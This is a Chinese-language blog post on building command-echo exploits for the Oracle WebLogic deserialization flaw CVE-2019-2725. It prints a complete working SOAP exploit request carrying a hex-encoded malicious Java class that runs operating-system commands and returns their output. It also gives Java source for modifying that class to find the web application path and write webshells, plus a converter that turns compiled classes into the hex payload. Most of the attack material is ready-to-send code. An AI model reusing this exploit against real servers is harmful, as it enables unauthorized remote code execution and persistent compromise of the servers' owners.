前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

作者头像
洛米唯熊
发布2019-07-25 15:31:01
1.1K0
发布2019-07-25 15:31:01
举报
文章被收录于专栏:洛米唯熊洛米唯熊
前言

不知道有没有人用过一款工具,是shack2写的

shack2

这是一款很神奇的工具。神奇在运行它可以得到回显且能找到正确的webapp发布路径,目前已知的xmldecoder的exp一般都是写webapp默认路径。当用户安装时更改了路径,由于路径问题,那些exp甚至一键化脚本/工具均会失效。而这个工具完美解决了这些痛点。

当前应用路径

命令回显

那么这款工具实现的原理是什么?我带着疑问尝试反编译。

反编译

我使用JD-GUI打开了这款工具的jar,发现用的还是一些通用的exp报文但同时掺杂一串奇怪的hex字符串。

hex字符串

我猜想这个hex字符串应该就是关键吧。我将它提取出来,尝试还原。

Hex

发现还原毫无反应,我继续尝试删除0x这个16进制标头。

Hex

能出来一些结果,但是是乱码,这并不是我想要的结果。 仔细观察工具中的exp,会发现来源一个方法FromHexString,这个方法来源于weblogic。 我建立工程,尝试还原。

尝试还原

还原成功了

还原成功

原来这段hexString是一个类,看到末尾的proc.getInputStream();我似乎明白了一些。

Stream Closed

恶意类

经过翻阅资料,发现这个类叫做恶意类。传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类,通过newInstance方法实例化恶意类并调用say方法,传入你输入的命令id设置为proc交给weblogic内部回显类回显。

DefiningClass

我尝试提取出来,直接使用burpsuite发送报文。

回显报文

发现效果很好,能够直接在报文的回包中进行回显

代码语言:javascript
复制
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.50.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5125

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
                    <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
                </void>
                <void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlExp</string>
                        <object idref="cls"></object>
                        <void method="newInstance">
                            <void method="say" id="proc">
                                <string>ls</string>
                            </void>
                        </void>
                    </void>
                </void>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

恶意类的写法有很多,我们可以根据自己的情况来写,并不是所有时候shack2提供的写法都有效。有的时候,报文不一定回显,就跟下面的代码有紧密关系。

代码语言:javascript
复制
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");

当然恶意类的核心是自动基于操作系统执行命令的,我们不用再指定是bash还是cmd。通过改写恶意类,我们能够将shell更快速的写入webapp的发布目录。在此以前,我是使用find命令配合xargs进行写shell的。这种方法只能适用于Linux或者安装有powershell的win机器,性能比较低下。通过改写恶意类,我成功写入了一个aa.txtx文件,这个文件可以告诉我当前webapp发布路径。

代码语言:javascript
复制
 String path = webAppServletContext.getRootTempDir().getAbsolutePath() + "/war/aa.txt";
        if (cmd.equalsIgnoreCase("givemewlswarpath")) {
            servletResponse.getWriter().write(path);
        } else {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }

            List cmds = new ArrayList();
            PrintWriter printWriter = new PrintWriter(path + "x");
            printWriter.println(path);
            printWriter.close();
            if (cmd.startsWith("$NO$")) {
                cmds.add(cmd.substring(4));
            } else if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }

aa.txtx

当然你可以改写恶意类,直接写你想写的shell。 那么问题来了,改写好的恶意类如何转为hexString了?

恶意类转hexString

我请教了一下afanti大佬,得到了答案,这里我直接贴出代码

代码语言:javascript
复制
import java.io.*;


public class Echo3 {
    public static void main(String[] args) throws IOException {
        InputStream in = new FileInputStream("/Users/xue/WeblogicEcho/XmlExp.class");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data,4194);
        //System.out.println(HexString);



        try {
            File file = new File("hex.txt");
            PrintStream ps = new PrintStream(new FileOutputStream(file));
            ps.println(HexString);// 往文件里写入字符串
            //ps.append(HexString);// 在已有的基础上添加字符串
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }


    }


    public static byte[] toByteArray(InputStream in) throws IOException {

        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024 * 4];
        int n = 0;
        while ((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }
    public static String bytesToHexString(byte[] bArray, int length)
    {
        StringBuffer sb = new StringBuffer(length);
        String sTemp;
        for (int i = 0; i < length; i++)
        {
            sTemp = Integer.toHexString(0xFF & bArray[i]);
            if (sTemp.length() < 2)
                sb.append(0);
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

在afanti原始代码的基础上,我直接将转出来的结果写入到hex.txt

hex.txt

CVE-2019-2725
10.3.6

那么CVE-2019-2725如何构造了? lufei大佬改造了一下恶意类。因为void后面不能跟class,所以10.3.6配合oracle.toplink.internal.sessions.UnitOfWorkChangeSet走byte流,不能灵活的修改需要执行的命令,lufei大佬和pyn3rd师傅在header加了个参数,用来接收需要执行的命令。

代码语言:javascript
复制
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");

构造详情可看文末的链接。 实现的效果如下

实现的效果

lufei大佬这里使用了JDK7U21的Gadget,pyn3rd师傅提示这里可以和Gadget无关,相关详情我就不再披露。因为10.3.6有这样的效果,也就够用了。那么问题又来了,12.1.3可没有oracle.toplink.internal.sessions.UnitOfWorkChangeSet,该如何构造?

12.1.3

12.1.3可以使用org.slf4j.ext.EventData进行多重xmldecoder,非常粗暴的一种方式。 实现的效果如下

多重xmldecoder

补丁里面打入黑名单的标签只能防御最外层的xml,并不能防御xml里面嵌套的xml。 由于目前是某网活动敏感时期,我在此不公开。 到此,CVE-2019-2725的所有exp构造落下帷幕。新的补丁将class也打入黑名单且限制了void index的长度,Oracle这种使用黑名单的粗暴方式,可能在不远的将来再次被绕过,我们拭目以待。

特别说明

CVE-2019-2725是CVE-2017-10271的补丁绕过,wls-wast组件同样受到影响,我们可以通过它构造回显exp。而async是不可以回显报文的。但恶意类执行的写入等操作,同样对async起到相同的作用。

async

鸣谢(排名不分先后)

pyn3rd afanti lufei

参考

lufei——weblogic_2019_2725poc与回显构造:https://xz.aliyun.com/t/5299 afanti——java反序列化RCE回显研究:https://xz.aliyun.com/t/5257

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 反编译
  • 恶意类
  • 恶意类转hexString
  • CVE-2019-2725
    • 10.3.6
      • 12.1.3
      • 特别说明
      • 鸣谢(排名不分先后)
      • 参考
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档